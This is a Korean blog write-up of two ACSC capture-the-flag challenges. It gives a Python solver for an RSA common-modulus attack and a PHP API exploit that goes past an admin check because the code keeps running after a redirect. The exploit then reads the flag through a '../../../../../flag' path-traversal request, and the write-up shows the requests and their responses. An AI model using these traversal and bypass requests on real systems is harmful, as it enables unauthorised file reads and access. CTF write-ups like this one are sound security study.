바빠서 집중은 못한 대회였다 ㅠ.ㅠ

CRYPTO

RSA Stream

import gmpy2
from Crypto.Util.number import long_to_bytes, bytes_to_long, getStrongPrime, inverse
from Crypto.Util.Padding import pad

from flag import m
#m = b"ACSC{<REDACTED>}" # flag!

f = open("chal.py","rb").read() # I'll encrypt myself!
print("len:",len(f))
p = getStrongPrime(1024)
q = getStrongPrime(1024)

n = p * q
e = 0x10001
print("n =",n)
print("e =",e)
print("# flag length:",len(m))
m = pad(m, 255)
m = bytes_to_long(m)

assert m < n
stream = pow(m,e,n)
cipher = b""

for a in range(0,len(f),256):
  q = f[a:a+256]
  if len(q) < 256:q = pad(q, 256)
  q = bytes_to_long(q)
  c = stream ^ q
  cipher += long_to_bytes(c,256)
  e = gmpy2.next_prime(e)
  stream = pow(m,e,n)

open("chal.enc","wb").write(cipher)

"from flag import m" 못 보고 Q&A 했다가 운영진에게 코드를 읽으면 됩니다라는 어디 숨고 싶은 답변을 들었다 ㅠ.ㅠ

로직은 귀찮아 보이지만 핵심은 같은 modulus에 대해 다른 e가 쓰이고 있다는 점이다.

common modulus attack이라고 하는 이 공격법의 핵심은 아래와 같다.

$$ M^k \bmod N * M^l \bmod N = M^{k+l} \bmod N $$

M < N 이기 때문에 k+l 만 1로 만들면 되는 것이다.

a,b 모두 0이 아니므로 베주 항등식을 적용하면 아래와 같이 $ e_1x + e2y = 1 $ 인 값을 찾으면 된다.

여기서는 확장된 유클리드 호제법을 사용하면 좋다.

ax + by = gcd(a,b)
gcd(e_1, e_2) = 1
e_1x + e_2y = 1​

 https://hackmd.io/@syru/Hy2J_ySZu

 

The Extended Euclidean Algorithm - HackMD

# The Extended Euclidean Algorithm $ax+by=\gcd(a,b)$를 만족하는 베주 항등식(Bézout's identity)의 계수(Coefficien

hackmd.io

최종적인 PoC는 다음과 같다.

import gmpy2
from Crypto.Util.number import long_to_bytes, bytes_to_long, inverse
from Crypto.Util.Padding import pad

def egcd(a1, a2):
    x1, x2 = 1, 0
    y1, y2 = 0, 1
    while a2:
        q = a1 // a2
        a1, a2 = a2, a1 - q * a2
        x1, x2 = x2, x1 - q * x2
        y1, y2 = y2, y1 - q * y2
    return a1, x1, y1

f = open("chal.py","rb").read()
enc_f = open("chal.enc","rb").read()

n = 
e = 65537

enc_data = []
for a in range(0,len(f),256):
  q = f[a:a+256]
  enc_q = enc_f[a:a+256]
  if len(q) < 256:q = pad(q, 256)
  q = bytes_to_long(q)
  enc_q = bytes_to_long(enc_q)
  c = q ^ enc_q
  enc_data.append((c, e))
  e = gmpy2.next_prime(e)

c1, e1 = enc_data[0]
c2, e2 = enc_data[1]
_, s1, s2 = egcd(e1, e2)
print(long_to_bytes((pow(c1, s1, n) * pow(c2, s2, n)) % n))


사실 이런 유형 문제는 너무너무너무너무 많이 나온 나머지 정리된 포스트가 많다.
내 즐겨찾기에 있는 것을 뒤져보니 여기도 해당 유형이 소개되어있다.
https://myblog.isnt.site/a-year-of-ctf-rsa/

 

A year of CTF RSA | Haven 4 BREAD

1년정도 CTF 뉴비로 있으면서 (아직도 뉴비지만) 겪었던 RSA 문제들의 유형을 대략 정리했습니다.

myblog.isnt.site


최근 SNS를 보면 이런 유형의 RSA는 이제 그만나올법도 되지 않았나라는 말이 있는 것 같다.

후.. 나도 좀 선형대수학 지식 쓰고 행렬 계산하고 bit flip하고 그런 걸 하고 싶지만 말만 한다고 지식이 들어오는 것은 아니니까 하고 있는 프로젝트 들이 마무리 되면 계획 잡고 공부해봐야 겠다.

 

이 문제와 큰 관계는 없지만 RSA 관련해서 읽어보면 좋은 글도 하나 첨부한다.

https://www.secmem.org/blog/2020/07/19/RSA-Puzzles/

 

RSA Puzzles

서론 RSA는 공개키 암호의 일종으로, 공개키를 통해 평문을 암호화할 수 있으며 비밀키를 통해 암호문을 복호화할 수 있습니다. 이 때 비밀키로부터 공개키를 구할 수는 있지만, 공개키로부터 비

www.secmem.org

WEB

API

로그인 페이지를 보고 sqli를 하고 싶어지지만 착하게도 소스코드가 주어져있다.

페이지 로직은 다음과 같다.

1. 회원가입 ( 불친절하게 회원가입 버튼이 없다,,, )
2. 로그인
3. "admin이 아닙니다" 하고 다시 로그인 페이지

...

3번에서 막혔었다.
그래서 삽질하면서 여러가지 가능성을 뒀었다.
1. 굳이 함수로 짜져있는 redirect
2. php loose comparision 취약점
3. 배열을 인자로 넘겨서 acc[2]를 만드는 것
4. Bruteforce

1번이 그 해답이였다.
redirect 메소드 코드는 아래와 같다.

public function redirect($url, $msg=''){
	$con = "<script type='text/javascript'>".PHP_EOL;
	if ($msg) $con .= "\talert('%s');".PHP_EOL;
	$con .= "\tlocation.href = '%s';".PHP_EOL;
	$con .= "</script>".PHP_EOL;
	header("location: ".$url);
	if ($msg) printf($con, $msg, $url);
	else printf($con, $url);
}

철저하게 client side에서 동작하는데 언제나 client side에서 이루어지는 것은 의심해보아야 한다.

challenge 메소드를 확인해보면 redirect 후 끝내는게 아닌 친절하게 c2 파라미터로 받은 것도 확인해준다.

function challenge($obj){
	if ($obj->is_login()) {
		$admin = new Admin();
		if (!$admin->is_admin()) $admin->redirect('/api.php?#access denied');
		$cmd = $_REQUEST['c2'];
		if ($cmd) {
			switch($cmd){
				case "gu":
					echo json_encode($admin->export_users());
					break;
				case "gd":
					echo json_encode($admin->export_db($_REQUEST['db']));
					break;
				case "gp":
					echo json_encode($admin->get_pass());
					break;
				case "cf":
					echo json_encode($admin->compare_flag($_REQUEST['flag']));
					break;
			}
		}
	}
}

export_db 메소드를 확인해보면

public function export_db($file){
		if ($this->is_pass_correct()) {
			$path = dirname(__FILE__).DIRECTORY_SEPARATOR;
			$path .= "db".DIRECTORY_SEPARATOR;
			$path .= $file;
			$data = file_get_contents($path);
			$data = explode(',', $data);
			$arr = [];
			for($i = 0; $i < count($data); $i++){
				$arr[] = explode('|', $data[$i]);
			}
			return $arr;
		}else 
			return "The passcode does not equal with your input.";
}

db 파라미터의 해당하는 파일을 다운로드 받아주는 것을 알 수 있다.
api 자체는 /db/*.db 를 다운 받는 것을 의도했지만 /db/../../../../../../flag를 통해 flag를 다운받을 수 있다.

그전에 passcode가 필요하기 때문에 아래와 같이 파라미터로 주면 획득할 수 있다.

c=i&c2=gp

'''
HTTP/2 302 Found
...

<scripttype='text/javascript'>
location.href='/api.php?#accessdenied';
</script>
":<vNk"
'''

이 후 상대 경로를 통해 flag를 다운받을 수 있다.

c2=gd&pas=:<vNk&db=../../../../../flag

'''
[
  [
    "ACSC{it_is_hard_to_name_a_flag..isn't_it?}\n"
  ]
]
'''

문제 풀이에 지장을 주지는 않지만 apache config 파일의 의도와 다르게 db 파일에 접근이 되는데

그 이유는  docker container 외부 접속 포트로 설정해서 그런 것 이였다.

로컬에서 docker container 내부 서비스 포트로 설정하니 제대로 동작하였다.

'write up' 카테고리의 다른 글

2021 사이버 공격방어대회 (CCE) 후기 ( 아직 쓰는중 )  (0) 2021.09.26
2021 Whitehat Contest 후기  (2) 2021.09.13

+ Recent posts